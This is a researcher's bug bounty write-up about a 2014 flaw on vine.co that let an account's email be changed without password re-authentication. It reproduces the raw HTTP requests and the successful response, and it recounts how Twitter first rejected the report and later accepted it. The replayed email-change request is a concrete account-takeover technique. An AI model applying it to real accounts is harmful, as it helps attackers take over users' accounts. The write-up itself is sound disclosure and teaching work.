Vine Re-authentication Bypass: A Twitter Bug Bounty Report

Introduction

In 2014, I discovered a re-authentication bypass vulnerability on vine.co. This issue allowed an attacker to change an account’s email without requiring password re-authentication, bypassing an important security mechanism.

Background

While exploring Twitter, I noticed a tweet from @0xSobky mentioning an XSS vulnerability on Vine by changing the HTTP method. At the time, I had already been hunting for bugs on Vine but had found that most of the obvious vulnerabilities had been reported.

Despite the competitive landscape, I continued my testing, applying new techniques to uncover potential flaws. I had previously found and reported vulnerabilities to Twitter before they moved their bug bounty program to HackerOne , earning a place in their Hall of Fame.

Discovery Process

I started testing CSRF, XSS, and IDOR attacks but quickly realized I needed to think outside the box. My focus shifted to changing the registered email address , a key action that should require authentication.

In the account settings page , I attempted to update my email from abdullah.test1@gmail.com to abdullah.test12@gmail.com.

Clicking Save triggered a password re-authentication prompt.

This was a new security feature that had not been present in my previous testing. I remembered suggesting to Twitter’s security team to implement re-authentication for email changes to prevent CSRF and XSS attacks.

Analyzing the Authentication Request

The re-authentication request looked like this:

POST /api/users/authenticate HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings

action=change-email&username=abdullah.test1%40gmail.com&password=my-pAs*w0rd

This request did not include the new email address , which suggested that the email update was handled separately. Once the password was verified, the actual email change request was sent:

PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings

email=abdullah.test12%40gmail.com

Identifying the Bypass

Comparing this request to other non-authenticated actions , such as updating the profile URL, I found something interesting:

PUT /api/users/1190983260029763584/vanity/hacker123 HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 0

There were no additional authentication tokens required in either request. This raised the question: Could I replay the email change request without re-authentication?

Exploiting the Vulnerability

I logged out, logged back in, and attempted to replay the email change request :

PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings

email=abdullah.hacker%40gmail.com

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code": "", "data": {}, "success": true, "error": ""}

The request successfully updated the email without requiring re-authentication!

Although this exploit required access to the victim’s session or cookies , it still bypassed a key security measure intended to protect users from account takeovers.

Reporting to Twitter

I documented my findings and submitted a report via HackerOne. The initial response was promising:

However, two days later, I received a follow-up message stating that my report was not valid due to its irrelevance to Twitter’s iOS security model:

I knew this reasoning was incorrect, as my report was about Vine’s web security, not iOS. Instead of arguing aggressively, I wrote a polite but firm response , explaining:

• The vulnerability was on vine.co, not the iOS app.
• Security should be consistent across platforms.
• The feature was implemented for security reasons, and I successfully bypassed it.

Shortly after, Twitter reconsidered and accepted my report :

Conclusion

This bug demonstrates the importance of:

• Testing new security features for potential bypasses.
• Re-authenticating users for critical actions like email changes.
• Ensuring security is consistent across all platforms.

Twitter eventually patched the issue two years later , but the lesson remains:

Always think outside the box when hunting for vulnerabilities.

If you enjoyed this write-up or have any questions, feel free to reach out on Twitter: @Abdulahhusam.